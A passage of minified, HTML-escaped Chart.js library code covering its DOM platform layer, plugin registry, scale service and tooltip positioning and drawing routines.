0;\r\n}\r\n&quot;}),stylesheet=(n=platform_dom$1)&amp;&amp;n.default||n,ANIMATION_START_EVENTS=[&quot;animationstart&quot;,&quot;webkitAnimationStart&quot;],EVENT_TYPES={touchstart:&quot;mousedown&quot;,touchmove:&quot;mousemove&quot;,touchend:&quot;mouseup&quot;,pointerenter:&quot;mouseenter&quot;,pointerdown:&quot;mousedown&quot;,pointermove:&quot;mousemove&quot;,pointerup:&quot;mouseup&quot;,pointerleave:&quot;mouseout&quot;,pointerout:&quot;mouseout&quot;};function readUsedSize(element,property){var value=helpers$1.getStyle(element,property),matches=value&amp;&amp;value.match(/^(\d+)(\.\d+)?px$/);return matches?Number(matches[1]):void 0}var supportsEventListenerOptions=function(){var supports=!1;try{var options=Object.defineProperty({},&quot;passive&quot;,{get:function(){supports=!0}});window.addEventListener(&quot;e&quot;,null,options)}catch(e){}return supports}(),eventListenerOptions=!!supportsEventListenerOptions&amp;&amp;{passive:!0};function addListener(node,type,listener){node.addEventListener(type,listener,eventListenerOptions)}function removeListener(node,type,listener){node.removeEventListener(type,listener,eventListenerOptions)}function createEvent(type,chart,x,y,nativeEvent){return{type:type,chart:chart,native:nativeEvent||null,x:void 0!==x?x:null,y:void 0!==y?y:null}}function createDiv(cls){var el=document.createElement(&quot;div&quot;);return el.className=cls||&quot;&quot;,el}function addResizeListener(node,listener,chart){var fn,thisArg,ticking,args,expando=node.$chartjs||(node.$chartjs={}),resizer=expando.resizer=function(handler){var resizer=createDiv(&quot;chartjs-size-monitor&quot;),expand=createDiv(&quot;chartjs-size-monitor-expand&quot;),shrink=createDiv(&quot;chartjs-size-monitor-shrink&quot;);expand.appendChild(createDiv()),shrink.appendChild(createDiv()),resizer.appendChild(expand),resizer.appendChild(shrink),resizer._reset=function(){expand.scrollLeft=1e6,expand.scrollTop=1e6,shrink.scrollLeft=1e6,shrink.scrollTop=1e6};var onScroll=function(){resizer._reset(),handler()};return addListener(expand,&quot;scroll&quot;,onScroll.bind(expand,&quot;expand&quot;)),addListener(shrink,&quot;scroll&quot;,onScroll.bind(shrink,&quot;shrink&quot;)),resizer}((fn=function(){if(expando.resizer){var container=chart.options.maintainAspectRatio&amp;&amp;node.parentNode,w=container?container.clientWidth:0;listener(createEvent(&quot;resize&quot;,chart)),container&amp;&amp;container.clientWidth&lt;w&amp;&amp;chart.canvas&amp;&amp;listener(createEvent(&quot;resize&quot;,chart))}},ticking=!1,args=[],function(){args=Array.prototype.slice.call(arguments),thisArg=thisArg||this,ticking||(ticking=!0,helpers$1.requestAnimFrame.call(window,(function(){ticking=!1,fn.apply(thisArg,args)})))}));!function(node,handler){var expando=node.$chartjs||(node.$chartjs={}),proxy=expando.renderProxy=function(e){&quot;chartjs-render-animation&quot;===e.animationName&amp;&amp;handler()};helpers$1.each(ANIMATION_START_EVENTS,(function(type){addListener(node,type,proxy)})),expando.reflow=!!node.offsetParent,node.classList.add(&quot;chartjs-render-monitor&quot;)}(node,(function(){if(expando.resizer){var container=node.parentNode;container&amp;&amp;container!==resizer.parentNode&amp;&amp;container.insertBefore(resizer,container.firstChild),resizer._reset()}}))}function removeResizeListener(node){var expando=node.$chartjs||{},resizer=expando.resizer;delete expando.resizer,function(node){var expando=node.$chartjs||{},proxy=expando.renderProxy;proxy&amp;&amp;(helpers$1.each(ANIMATION_START_EVENTS,(function(type){removeListener(node,type,proxy)})),delete expando.renderProxy),node.classList.remove(&quot;chartjs-render-monitor&quot;)}(node),resizer&amp;&amp;resizer.parentNode&amp;&amp;resizer.parentNode.removeChild(resizer)}var platform_dom$2={disableCSSInjection:!1,_enabled:&quot;undefined&quot;!=typeof window&amp;&amp;&quot;undefined&quot;!=typeof document,_ensureLoaded:function(canvas){if(!this.disableCSSInjection){var root=canvas.getRootNode?canvas.getRootNode():document;!function(rootNode,css){var expando=rootNode.$chartjs||(rootNode.$chartjs={});if(!expando.containsStyles){expando.containsStyles=!0,css=&quot;/* Chart.js */\n&quot;+css;var style=document.createElement(&quot;style&quot;);style.setAttribute(&quot;type&quot;,&quot;text/css&quot;),style.appendChild(document.createTextNode(css)),rootNode.appendChild(style)}}(root.host?root:document.head,stylesheet)}},acquireContext:function(item,config){&quot;string&quot;==typeof item?item=document.getElementById(item):item.length&amp;&amp;(item=item[0]),item&amp;&amp;item.canvas&amp;&amp;(item=item.canvas);var context=item&amp;&amp;item.getContext&amp;&amp;item.getContext(&quot;2d&quot;);return context&amp;&amp;context.canvas===item?(this._ensureLoaded(item),function(canvas,config){var style=canvas.style,renderHeight=canvas.getAttribute(&quot;height&quot;),renderWidth=canvas.getAttribute(&quot;width&quot;);if(canvas.$chartjs={initial:{height:renderHeight,width:renderWidth,style:{display:style.display,height:style.height,width:style.width}}},style.display=style.display||&quot;block&quot;,null===renderWidth||&quot;&quot;===renderWidth){var displayWidth=readUsedSize(canvas,&quot;width&quot;);void 0!==displayWidth&amp;&amp;(canvas.width=displayWidth)}if(null===renderHeight||&quot;&quot;===renderHeight)if(&quot;&quot;===canvas.style.height)canvas.height=canvas.width/(config.options.aspectRatio||2);else{var displayHeight=readUsedSize(canvas,&quot;height&quot;);void 0!==displayWidth&amp;&amp;(canvas.height=displayHeight)}}(item,config),context):null},releaseContext:function(context){var canvas=context.canvas;if(canvas.$chartjs){var initial=canvas.$chartjs.initial;[&quot;height&quot;,&quot;width&quot;].forEach((function(prop){var value=initial[prop];helpers$1.isNullOrUndef(value)?canvas.removeAttribute(prop):canvas.setAttribute(prop,value)})),helpers$1.each(initial.style||{},(function(value,key){canvas.style[key]=value})),canvas.width=canvas.width,delete canvas.$chartjs}},addEventListener:function(chart,type,listener){var canvas=chart.canvas;if(&quot;resize&quot;!==type){var expando=listener.$chartjs||(listener.$chartjs={}),proxy=(expando.proxies||(expando.proxies={}))[chart.id+&quot;_&quot;+type]=function(event){listener(function(event,chart){var type=EVENT_TYPES[event.type]||event.type,pos=helpers$1.getRelativePosition(event,chart);return createEvent(type,chart,pos.x,pos.y,event)}(event,chart))};addListener(canvas,type,proxy)}else addResizeListener(canvas,listener,chart)},removeEventListener:function(chart,type,listener){var canvas=chart.canvas;if(&quot;resize&quot;!==type){var proxy=((listener.$chartjs||{}).proxies||{})[chart.id+&quot;_&quot;+type];proxy&amp;&amp;removeListener(canvas,type,proxy)}else removeResizeListener(canvas)}};helpers$1.addEvent=addListener,helpers$1.removeEvent=removeListener;var implementation=platform_dom$2._enabled?platform_dom$2:{acquireContext:function(item){return item&amp;&amp;item.canvas&amp;&amp;(item=item.canvas),item&amp;&amp;item.getContext(&quot;2d&quot;)||null}},platform=helpers$1.extend({initialize:function(){},acquireContext:function(){},releaseContext:function(){},addEventListener:function(){},removeEventListener:function(){}},implementation);core_defaults._set(&quot;global&quot;,{plugins:{}});var core_plugins={_plugins:[],_cacheId:0,register:function(plugins){var p=this._plugins;[].concat(plugins).forEach((function(plugin){-1===p.indexOf(plugin)&amp;&amp;p.push(plugin)})),this._cacheId++},unregister:function(plugins){var p=this._plugins;[].concat(plugins).forEach((function(plugin){var idx=p.indexOf(plugin);-1!==idx&amp;&amp;p.splice(idx,1)})),this._cacheId++},clear:function(){this._plugins=[],this._cacheId++},count:function(){return this._plugins.length},getAll:function(){return this._plugins},notify:function(chart,hook,args){var i,descriptor,plugin,params,method,descriptors=this.descriptors(chart),ilen=descriptors.length;for(i=0;i&lt;ilen;++i)if(&quot;function&quot;==typeof(method=(plugin=(descriptor=descriptors[i]).plugin)[hook])&amp;&amp;((params=[chart].concat(args||[])).push(descriptor.options),!1===method.apply(plugin,params)))return!1;return!0},descriptors:function(chart){var cache=chart.$plugins||(chart.$plugins={});if(cache.id===this._cacheId)return cache.descriptors;var plugins=[],descriptors=[],config=chart&amp;&amp;chart.config||{},options=config.options&amp;&amp;config.options.plugins||{};return this._plugins.concat(config.plugins||[]).forEach((function(plugin){if(-1===plugins.indexOf(plugin)){var id=plugin.id,opts=options[id];!1!==opts&amp;&amp;(!0===opts&amp;&amp;(opts=helpers$1.clone(core_defaults.global.plugins[id])),plugins.push(plugin),descriptors.push({plugin:plugin,options:opts||{}}))}})),cache.descriptors=descriptors,cache.id=this._cacheId,descriptors},_invalidate:function(chart){delete chart.$plugins}},core_scaleService={constructors:{},defaults:{},registerScaleType:function(type,scaleConstructor,scaleDefaults){this.constructors[type]=scaleConstructor,this.defaults[type]=helpers$1.clone(scaleDefaults)},getScaleConstructor:function(type){return this.constructors.hasOwnProperty(type)?this.constructors[type]:void 0},getScaleDefaults:function(type){return this.defaults.hasOwnProperty(type)?helpers$1.merge(Object.create(null),[core_defaults.scale,this.defaults[type]]):{}},updateScaleDefaults:function(type,additions){this.defaults.hasOwnProperty(type)&amp;&amp;(this.defaults[type]=helpers$1.extend(this.defaults[type],additions))},addScalesToLayout:function(chart){helpers$1.each(chart.scales,(function(scale){scale.fullWidth=scale.options.fullWidth,scale.position=scale.options.position,scale.weight=scale.options.weight,core_layouts.addBox(chart,scale)}))}},valueOrDefault$8=helpers$1.valueOrDefault,getRtlHelper=helpers$1.rtl.getRtlAdapter;core_defaults._set(&quot;global&quot;,{tooltips:{enabled:!0,custom:null,mode:&quot;nearest&quot;,position:&quot;average&quot;,intersect:!0,backgroundColor:&quot;rgba(0,0,0,0.8)&quot;,titleFontStyle:&quot;bold&quot;,titleSpacing:2,titleMarginBottom:6,titleFontColor:&quot;#fff&quot;,titleAlign:&quot;left&quot;,bodySpacing:2,bodyFontColor:&quot;#fff&quot;,bodyAlign:&quot;left&quot;,footerFontStyle:&quot;bold&quot;,footerSpacing:2,footerMarginTop:6,footerFontColor:&quot;#fff&quot;,footerAlign:&quot;left&quot;,yPadding:6,xPadding:6,caretPadding:2,caretSize:5,cornerRadius:6,multiKeyBackground:&quot;#fff&quot;,displayColors:!0,borderColor:&quot;rgba(0,0,0,0)&quot;,borderWidth:0,callbacks:{beforeTitle:helpers$1.noop,title:function(tooltipItems,data){var title=&quot;&quot;,labels=data.labels,labelCount=labels?labels.length:0;if(tooltipItems.length&gt;0){var item=tooltipItems[0];item.label?title=item.label:item.xLabel?title=item.xLabel:labelCount&gt;0&amp;&amp;item.index&lt;labelCount&amp;&amp;(title=labels[item.index])}return title},afterTitle:helpers$1.noop,beforeBody:helpers$1.noop,beforeLabel:helpers$1.noop,label:function(tooltipItem,data){var label=data.datasets[tooltipItem.datasetIndex].label||&quot;&quot;;return label&amp;&amp;(label+=&quot;: &quot;),helpers$1.isNullOrUndef(tooltipItem.value)?label+=tooltipItem.yLabel:label+=tooltipItem.value,label},labelColor:function(tooltipItem,chart){var view=chart.getDatasetMeta(tooltipItem.datasetIndex).data[tooltipItem.index]._view;return{borderColor:view.borderColor,backgroundColor:view.backgroundColor}},labelTextColor:function(){return this._options.bodyFontColor},afterLabel:helpers$1.noop,afterBody:helpers$1.noop,beforeFooter:helpers$1.noop,footer:helpers$1.noop,afterFooter:helpers$1.noop}}});var positioners={average:function(elements){if(!elements.length)return!1;var i,len,x=0,y=0,count=0;for(i=0,len=elements.length;i&lt;len;++i){var el=elements[i];if(el&amp;&amp;el.hasValue()){var pos=el.tooltipPosition();x+=pos.x,y+=pos.y,++count}}return{x:x/count,y:y/count}},nearest:function(elements,eventPosition){var i,len,nearestElement,x=eventPosition.x,y=eventPosition.y,minDistance=Number.POSITIVE_INFINITY;for(i=0,len=elements.length;i&lt;len;++i){var el=elements[i];if(el&amp;&amp;el.hasValue()){var center=el.getCenterPoint(),d=helpers$1.distanceBetweenPoints(eventPosition,center);d&lt;minDistance&amp;&amp;(minDistance=d,nearestElement=el)}}if(nearestElement){var tp=nearestElement.tooltipPosition();x=tp.x,y=tp.y}return{x:x,y:y}}};function pushOrConcat(base,toPush){return toPush&amp;&amp;(helpers$1.isArray(toPush)?Array.prototype.push.apply(base,toPush):base.push(toPush)),base}function splitNewlines(str){return(&quot;string&quot;==typeof str||str instanceof String)&amp;&amp;str.indexOf(&quot;\n&quot;)&gt;-1?str.split(&quot;\n&quot;):str}function getBaseModel(tooltipOpts){var globalDefaults=core_defaults.global;return{xPadding:tooltipOpts.xPadding,yPadding:tooltipOpts.yPadding,xAlign:tooltipOpts.xAlign,yAlign:tooltipOpts.yAlign,rtl:tooltipOpts.rtl,textDirection:tooltipOpts.textDirection,bodyFontColor:tooltipOpts.bodyFontColor,_bodyFontFamily:valueOrDefault$8(tooltipOpts.bodyFontFamily,globalDefaults.defaultFontFamily),_bodyFontStyle:valueOrDefault$8(tooltipOpts.bodyFontStyle,globalDefaults.defaultFontStyle),_bodyAlign:tooltipOpts.bodyAlign,bodyFontSize:valueOrDefault$8(tooltipOpts.bodyFontSize,globalDefaults.defaultFontSize),bodySpacing:tooltipOpts.bodySpacing,titleFontColor:tooltipOpts.titleFontColor,_titleFontFamily:valueOrDefault$8(tooltipOpts.titleFontFamily,globalDefaults.defaultFontFamily),_titleFontStyle:valueOrDefault$8(tooltipOpts.titleFontStyle,globalDefaults.defaultFontStyle),titleFontSize:valueOrDefault$8(tooltipOpts.titleFontSize,globalDefaults.defaultFontSize),_titleAlign:tooltipOpts.titleAlign,titleSpacing:tooltipOpts.titleSpacing,titleMarginBottom:tooltipOpts.titleMarginBottom,footerFontColor:tooltipOpts.footerFontColor,_footerFontFamily:valueOrDefault$8(tooltipOpts.footerFontFamily,globalDefaults.defaultFontFamily),_footerFontStyle:valueOrDefault$8(tooltipOpts.footerFontStyle,globalDefaults.defaultFontStyle),footerFontSize:valueOrDefault$8(tooltipOpts.footerFontSize,globalDefaults.defaultFontSize),_footerAlign:tooltipOpts.footerAlign,footerSpacing:tooltipOpts.footerSpacing,footerMarginTop:tooltipOpts.footerMarginTop,caretSize:tooltipOpts.caretSize,cornerRadius:tooltipOpts.cornerRadius,backgroundColor:tooltipOpts.backgroundColor,opacity:0,legendColorBackground:tooltipOpts.multiKeyBackground,displayColors:tooltipOpts.displayColors,borderColor:tooltipOpts.borderColor,borderWidth:tooltipOpts.borderWidth}}function getAlignedX(vm,align){return&quot;center&quot;===align?vm.x+vm.width/2:&quot;right&quot;===align?vm.x+vm.width-vm.xPadding:vm.x+vm.xPadding}function getBeforeAfterBodyLines(callback){return pushOrConcat([],splitNewlines(callback))}var exports$4=core_element.extend({initialize:function(){this._model=getBaseModel(this._options),this._lastActive=[]},getTitle:function(){var me=this,opts=me._options,callbacks=opts.callbacks,beforeTitle=callbacks.beforeTitle.apply(me,arguments),title=callbacks.title.apply(me,arguments),afterTitle=callbacks.afterTitle.apply(me,arguments),lines=[];return lines=pushOrConcat(lines,splitNewlines(beforeTitle)),lines=pushOrConcat(lines,splitNewlines(title)),lines=pushOrConcat(lines,splitNewlines(afterTitle))},getBeforeBody:function(){return getBeforeAfterBodyLines(this._options.callbacks.beforeBody.apply(this,arguments))},getBody:function(tooltipItems,data){var me=this,callbacks=me._options.callbacks,bodyItems=[];return helpers$1.each(tooltipItems,(function(tooltipItem){var bodyItem={before:[],lines:[],after:[]};pushOrConcat(bodyItem.before,splitNewlines(callbacks.beforeLabel.call(me,tooltipItem,data))),pushOrConcat(bodyItem.lines,callbacks.label.call(me,tooltipItem,data)),pushOrConcat(bodyItem.after,splitNewlines(callbacks.afterLabel.call(me,tooltipItem,data))),bodyItems.push(bodyItem)})),bodyItems},getAfterBody:function(){return getBeforeAfterBodyLines(this._options.callbacks.afterBody.apply(this,arguments))},getFooter:function(){var me=this,callbacks=me._options.callbacks,beforeFooter=callbacks.beforeFooter.apply(me,arguments),footer=callbacks.footer.apply(me,arguments),afterFooter=callbacks.afterFooter.apply(me,arguments),lines=[];return lines=pushOrConcat(lines,splitNewlines(beforeFooter)),lines=pushOrConcat(lines,splitNewlines(footer)),lines=pushOrConcat(lines,splitNewlines(afterFooter))},update:function(changed){var i,len,element,xScale,yScale,index,datasetIndex,controller,indexScale,valueScale,me=this,opts=me._options,existingModel=me._model,model=me._model=getBaseModel(opts),active=me._active,data=me._data,alignment={xAlign:existingModel.xAlign,yAlign:existingModel.yAlign},backgroundPoint={x:existingModel.x,y:existingModel.y},tooltipSize={width:existingModel.width,height:existingModel.height},tooltipPosition={x:existingModel.caretX,y:existingModel.caretY};if(active.length){model.opacity=1;var labelColors=[],labelTextColors=[];tooltipPosition=positioners[opts.position].call(me,active,me._eventPosition);var tooltipItems=[];for(i=0,len=active.length;i&lt;len;++i)tooltipItems.push((element=active[i],xScale=void 0,yScale=void 0,index=void 0,datasetIndex=void 0,controller=void 0,indexScale=void 0,valueScale=void 0,xScale=element._xScale,yScale=element._yScale||element._scale,index=element._index,datasetIndex=element._datasetIndex,controller=element._chart.getDatasetMeta(datasetIndex).controller,indexScale=controller._getIndexScale(),valueScale=controller._getValueScale(),{xLabel:xScale?xScale.getLabelForIndex(index,datasetIndex):&quot;&quot;,yLabel:yScale?yScale.getLabelForIndex(index,datasetIndex):&quot;&quot;,label:indexScale?&quot;&quot;+indexScale.getLabelForIndex(index,datasetIndex):&quot;&quot;,value:valueScale?&quot;&quot;+valueScale.getLabelForIndex(index,datasetIndex):&quot;&quot;,index:index,datasetIndex:datasetIndex,x:element._model.x,y:element._model.y}));opts.filter&amp;&amp;(tooltipItems=tooltipItems.filter((function(a){return opts.filter(a,data)}))),opts.itemSort&amp;&amp;(tooltipItems=tooltipItems.sort((function(a,b){return opts.itemSort(a,b,data)}))),helpers$1.each(tooltipItems,(function(tooltipItem){labelColors.push(opts.callbacks.labelColor.call(me,tooltipItem,me._chart)),labelTextColors.push(opts.callbacks.labelTextColor.call(me,tooltipItem,me._chart))})),model.title=me.getTitle(tooltipItems,data),model.beforeBody=me.getBeforeBody(tooltipItems,data),model.body=me.getBody(tooltipItems,data),model.afterBody=me.getAfterBody(tooltipItems,data),model.footer=me.getFooter(tooltipItems,data),model.x=tooltipPosition.x,model.y=tooltipPosition.y,model.caretPadding=opts.caretPadding,model.labelColors=labelColors,model.labelTextColors=labelTextColors,model.dataPoints=tooltipItems,tooltipSize=function(tooltip,model){var ctx=tooltip._chart.ctx,height=2*model.yPadding,width=0,body=model.body,combinedBodyLength=body.reduce((function(count,bodyItem){return count+bodyItem.before.length+bodyItem.lines.length+bodyItem.after.length}),0);combinedBodyLength+=model.beforeBody.length+model.afterBody.length;var titleLineCount=model.title.length,footerLineCount=model.footer.length,titleFontSize=model.titleFontSize,bodyFontSize=model.bodyFontSize,footerFontSize=model.footerFontSize;height+=titleLineCount*titleFontSize,height+=titleLineCount?(titleLineCount-1)*model.titleSpacing:0,height+=titleLineCount?model.titleMarginBottom:0,height+=combinedBodyLength*bodyFontSize,height+=combinedBodyLength?(combinedBodyLength-1)*model.bodySpacing:0,height+=footerLineCount?model.footerMarginTop:0,height+=footerLineCount*footerFontSize,height+=footerLineCount?(footerLineCount-1)*model.footerSpacing:0;var widthPadding=0,maxLineWidth=function(line){width=Math.max(width,ctx.measureText(line).width+widthPadding)};return ctx.font=helpers$1.fontString(titleFontSize,model._titleFontStyle,model._titleFontFamily),helpers$1.each(model.title,maxLineWidth),ctx.font=helpers$1.fontString(bodyFontSize,model._bodyFontStyle,model._bodyFontFamily),helpers$1.each(model.beforeBody.concat(model.afterBody),maxLineWidth),widthPadding=model.displayColors?bodyFontSize+2:0,helpers$1.each(body,(function(bodyItem){helpers$1.each(bodyItem.before,maxLineWidth),helpers$1.each(bodyItem.lines,maxLineWidth),helpers$1.each(bodyItem.after,maxLineWidth)})),widthPadding=0,ctx.font=helpers$1.fontString(footerFontSize,model._footerFontStyle,model._footerFontFamily),helpers$1.each(model.footer,maxLineWidth),{width:width+=2*model.xPadding,height:height}}(this,model),alignment=function(tooltip,size){var lf,rf,olf,orf,yf,model=tooltip._model,chart=tooltip._chart,chartArea=tooltip._chart.chartArea,xAlign=&quot;center&quot;,yAlign=&quot;center&quot;;model.y&lt;size.height?yAlign=&quot;top&quot;:model.y&gt;chart.height-size.height&amp;&amp;(yAlign=&quot;bottom&quot;);var midX=(chartArea.left+chartArea.right)/2,midY=(chartArea.top+chartArea.bottom)/2;&quot;center&quot;===yAlign?(lf=function(x){return x&lt;=midX},rf=function(x){return x&gt;midX}):(lf=function(x){return x&lt;=size.width/2},rf=function(x){return x&gt;=chart.width-size.width/2}),olf=function(x){return x+size.width+model.caretSize+model.caretPadding&gt;chart.width},orf=function(x){return x-size.width-model.caretSize-model.caretPadding&lt;0},yf=function(y){return y&lt;=midY?&quot;top&quot;:&quot;bottom&quot;},lf(model.x)?(xAlign=&quot;left&quot;,olf(model.x)&amp;&amp;(xAlign=&quot;center&quot;,yAlign=yf(model.y))):rf(model.x)&amp;&amp;(xAlign=&quot;right&quot;,orf(model.x)&amp;&amp;(xAlign=&quot;center&quot;,yAlign=yf(model.y)));var opts=tooltip._options;return{xAlign:opts.xAlign?opts.xAlign:xAlign,yAlign:opts.yAlign?opts.yAlign:yAlign}}(this,tooltipSize),backgroundPoint=function(vm,size,alignment,chart){var x=vm.x,y=vm.y,caretSize=vm.caretSize,caretPadding=vm.caretPadding,cornerRadius=vm.cornerRadius,xAlign=alignment.xAlign,yAlign=alignment.yAlign,paddingAndSize=caretSize+caretPadding,radiusAndPadding=cornerRadius+caretPadding;return&quot;right&quot;===xAlign?x-=size.width:&quot;center&quot;===xAlign&amp;&amp;((x-=size.width/2)+size.width&gt;chart.width&amp;&amp;(x=chart.width-size.width),x&lt;0&amp;&amp;(x=0)),&quot;top&quot;===yAlign?y+=paddingAndSize:y-=&quot;bottom&quot;===yAlign?size.height+paddingAndSize:size.height/2,&quot;center&quot;===yAlign?&quot;left&quot;===xAlign?x+=paddingAndSize:&quot;right&quot;===xAlign&amp;&amp;(x-=paddingAndSize):&quot;left&quot;===xAlign?x-=radiusAndPadding:&quot;right&quot;===xAlign&amp;&amp;(x+=radiusAndPadding),{x:x,y:y}}(model,tooltipSize,alignment,me._chart)}else model.opacity=0;return model.xAlign=alignment.xAlign,model.yAlign=alignment.yAlign,model.x=backgroundPoint.x,model.y=backgroundPoint.y,model.width=tooltipSize.width,model.height=tooltipSize.height,model.caretX=tooltipPosition.x,model.caretY=tooltipPosition.y,me._model=model,changed&amp;&amp;opts.custom&amp;&amp;opts.custom.call(me,model),me},drawCaret:function(tooltipPoint,size){var ctx=this._chart.ctx,vm=this._view,caretPosition=this.getCaretPosition(tooltipPoint,size,vm);ctx.lineTo(caretPosition.x1,caretPosition.y1),ctx.lineTo(caretPosition.x2,caretPosition.y2),ctx.lineTo(caretPosition.x3,caretPosition.y3)},getCaretPosition:function(tooltipPoint,size,vm){var x1,x2,x3,y1,y2,y3,caretSize=vm.caretSize,cornerRadius=vm.cornerRadius,xAlign=vm.xAlign,yAlign=vm.yAlign,ptX=tooltipPoint.x,ptY=tooltipPoint.y,width=size.width,height=size.height;if(&quot;center&quot;===yAlign)y2=ptY+height/2,&quot;left&quot;===xAlign?(x2=(x1=ptX)-caretSize,x3=x1,y1=y2+caretSize,y3=y2-caretSize):(x2=(x1=ptX+width)+caretSize,x3=x1,y1=y2-caretSize,y3=y2+caretSize);else if(&quot;left&quot;===xAlign?(x1=(x2=ptX+cornerRadius+caretSize)-caretSize,x3=x2+caretSize):&quot;right&quot;===xAlign?(x1=(x2=ptX+width-cornerRadius-caretSize)-caretSize,x3=x2+caretSize):(x1=(x2=vm.caretX)-caretSize,x3=x2+caretSize),&quot;top&quot;===yAlign)y2=(y1=ptY)-caretSize,y3=y1;else{y2=(y1=ptY+height)+caretSize,y3=y1;var tmp=x3;x3=x1,x1=tmp}return{x1:x1,x2:x2,x3:x3,y1:y1,y2:y2,y3:y3}},drawTitle:function(pt,vm,ctx){var titleFontSize,titleSpacing,i,title=vm.title,length=title.length;if(length){var rtlHelper=getRtlHelper(vm.rtl,vm.x,vm.width);for(pt.x=getAlignedX(vm,vm._titleAlign),ctx.textAlign=rtlHelper.textAlign(vm._titleAlign),ctx.textBaseline=&quot;middle&quot;,titleFontSize=vm.titleFontSize,titleSpacing=vm.titleSpacing,ctx.fillStyle=vm.titleFontColor,ctx.font=helpers$1.fontString(titleFontSize,vm._titleFontStyle,vm._titleFontFamily),i=0;i&lt;length;++i)ctx.fillText(title[i],rtlHelper.x(pt.x),pt.y+titleFontSize/2),pt.y+=titleFontSize+titleSpacing,i+1===length&amp;&amp;(pt.y+=vm.titleMarginBottom-titleSpacing)}},drawBody:function(pt,vm,ctx){var bodyItem,textColor,labelColors,lines,i,j,ilen,jlen,bodyFontSize=vm.bodyFontSize,bodySpacing=vm.bodySpacing,bodyAlign=vm._bodyAlign,body=vm.body,drawColorBoxes=vm.displayColors,xLinePadding=0,colorX=drawColorBoxes?getAlignedX(vm,&quot;left&quot;):0,rtlHelper=getRtlHelper(vm.rtl,vm.x,vm.width),fillLineOfText=function(line){ctx.fillText(line,rtlHelper.x(pt.x+xLinePadding),pt.y+bodyFontSize/2),pt.y+=bodyFontSize+bodySpacing},bodyAlignForCalculation=rtlHelper.textAlign(bodyAlign);for(ctx.textAlign=bodyAlign,ctx.textBaseline=&quot;middle&quot;,ctx.font=helpers$1.fontString(bodyFontSize,vm._bodyFontStyle,vm._bodyFontFamily),pt.x=getAlignedX(vm,bodyAlignForCalculation),ctx.fillStyle=vm.bodyFontColor,helpers$1.each(vm.beforeBody,fillLineOfText),xLinePadding=drawColorBoxes&amp;&amp;&quot;right&quot;!==bodyAlignForCalculation?&quot;center&quot;===bodyAlign?bodyFontSize/2+1:bodyFontSize+2:0,i=0,ilen=body.length;i&lt;ilen;++i){for(bodyItem=body[i],textColor=vm.labelTextColors[i],labelColors=vm.labelColors[i],ctx.fillStyle=textColor,helpers$1.each(bodyItem.before,fillLineOfText),j=0,jlen=(lines=bodyItem.lines).length;j&lt;jlen;++j){if(drawColorBoxes){var rtlColorX=rtlHelper.x(colorX);ctx.fillStyle=vm.legendColorBackground,ctx.fillRect(rtlHelper.leftForLtr(rtlColorX,bodyFontSize),pt.y,bodyFontSize,bodyFontSize),ctx.lineWidth=1,ctx.strokeStyle=labelColors.borderColor,ctx.strokeRect(rtlHelper.leftForLtr(rtlColorX,bodyFontSize),pt.y,bodyFontSize,bodyFontSize),ctx.fillStyle=labelColors.backgroundColor,ctx.fillRect(rtlHelper.leftForLtr(rtlHelper.xPlus(rtlColorX,1),bodyFontSize-2),pt.y+1,bodyFontSize-2,bodyFontSize-2),ctx.fillStyle=textColor}fillLineOfText(lines[j])}helpers$1.each(bodyItem.after,fillLineOfText)}xLinePadding=0,helpers$1.each(vm.afterBody,fillLineOfText),pt.y-=bodySpacing},drawFooter:function(pt,vm,ctx){var footerFontSize,i,footer=vm.footer,length=footer.length;if(length){var rtlHelper=getRtlHelper(vm.rtl,vm.x,vm.width);for(pt.x=getAlignedX(vm,vm._footerAlign),pt.y+=vm.footerMarginTop,ctx.textAlign=rtlHelper.textAlign(vm._footerAlign),ctx.textBaseline=&quot;middle&quot;,footerFontSize=vm.footerFontSize,ctx.fillStyle=vm.footerFontColor,ctx.font=helpers$1.fontString(footerFontSize,vm._footerFontStyle,vm._footerFontFamily),i=0;i&lt;length;++i)ctx.fillText(footer[i],rtlHelper.x(pt.x),pt.y+footerFontSize/2),pt.y+=footerFontSize+vm.footerSpacing}},drawBackground:function(pt,vm,ctx,tooltipSize){ctx.fillStyle=vm.backgroundColor,ctx.strokeStyle=vm.borderColor,ctx.lineWidth=vm.borderWidth;var xAlign=vm.xAlign,yAlign=vm.yAlign,x=pt.x,y=pt.y,width=tooltipSize.width,height=tooltipSize.height,radius=vm.cornerRadius;ctx.beginPath(),ctx.moveTo(x+radius,y),&quot;top&quot;===yAlign&amp;&amp;this.drawCaret(pt,tooltipSize),ctx.lineTo(x+width-radius,y),ctx.quadraticCurveTo(x+width,y,x+width,y+radius),&quot;center&quot;===yAlign&amp;&amp;&quot;right&quot;===xAlign&amp;&amp;this.drawCaret(pt,tooltipSize),ctx.lineTo(x+width,y+height-radius),ctx.quadraticCurveTo(x+width,y+height,x+width-radius,y+height),&quot;bottom&quot;===yAlign&amp;&amp;this.drawCaret(pt,tooltipSize),ctx.lineTo(x+radius,y+height),ctx.quadraticCurveTo(x,y+height,x,y+height-radius),&quot;center&quot;===yAlign&amp;&amp;&quot;left&quot;===xAlign&amp;&amp;this.drawCaret(pt,tooltipSize),ctx.lineTo(x,y+radius),ctx.quadraticCurveTo(x,y,x+radius,y),ctx.closePath(),ctx.fill(),vm.borderWidth&gt;0&amp;&amp;ctx.stroke()},draw:function(){var ctx=this._chart.ctx,vm=this._view;if(0!==vm.opacity){var tooltipSize={width:vm.width,height:vm.height},pt={x:vm.x,y:vm.y},opacity=Math.abs(vm.opacity&lt;.001)?0:vm.opacity,hasTooltipContent=vm.title.length||vm.beforeBody.length||vm.body.length||vm.afterBody.length||vm.footer.length;this._options.enabled&amp;&amp;hasTooltipContent&amp;&amp;(ctx.save(),ctx.globalAlpha=opacity,this.drawBackground(pt,vm,ctx,tooltipSize),pt.y+=vm.yPadding,helpers$1.rtl.overrideTextDirection(ctx,vm.textDirection),this.drawTitle(pt,vm,ctx),this.drawBody(pt,vm,ctx),this.drawFooter(pt,vm,ctx),helpers$1.rtl.restoreTextDirection(ctx,vm.textDirection),ctx.restore())}},handleEvent:function(e){var changed,me=this,options=me._options;return me._lastActive=me._lastActive||[],&quot;mouseout&quot;===e.type?me._active=[]:(me._active=me._chart.getElementsAtEventForMode(e,options.mode,options),options.reverse&amp;&amp;me._active.reverse()),(changed=!helpers$1.arrayEquals(me._active,me._lastActive))&amp;&amp;(me._lastActive=me._active,(options.enabled||options.custom)&amp;&amp;(me._eventPosition={x:e.x,y:e.y},me.update(!0),me.pivot())),changed}}),positioners_1=positioners,core_tooltip=exports$4;core_tooltip.positioners=positioners_1;var valueOrDefault$9=helpers$1.valueOrDefault;function mergeScaleConfig(){return 